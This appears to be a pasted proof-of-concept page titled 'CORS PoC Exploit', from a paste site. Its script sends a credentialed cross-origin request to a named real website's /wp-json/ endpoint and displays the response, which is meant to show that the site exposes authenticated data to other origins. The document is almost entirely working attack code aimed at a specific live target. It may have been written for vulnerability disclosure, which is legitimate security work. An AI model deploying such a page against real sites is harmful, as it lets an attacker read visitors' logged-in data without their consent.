Untitled

mail@pastecode.io avatar
unknown
plain_text
2 years ago
570 B
4
Indexable
Never
<!DOCTYPE html>
<html>
<head>
<script>
function cors() {var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) { document.getElementById("emo").innerHTML = alert(this.responseText);
}
};
xhttp.open("GET", "https://www.zinghr.com/wp-json/", true); xhttp.withCredentials = true; xhttp.send();
}
</script>
</head>
<body>
<center>
<h2>CORS PoC Exploit </h2>
<h3>Show full content of page</h3>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
</body>
</html>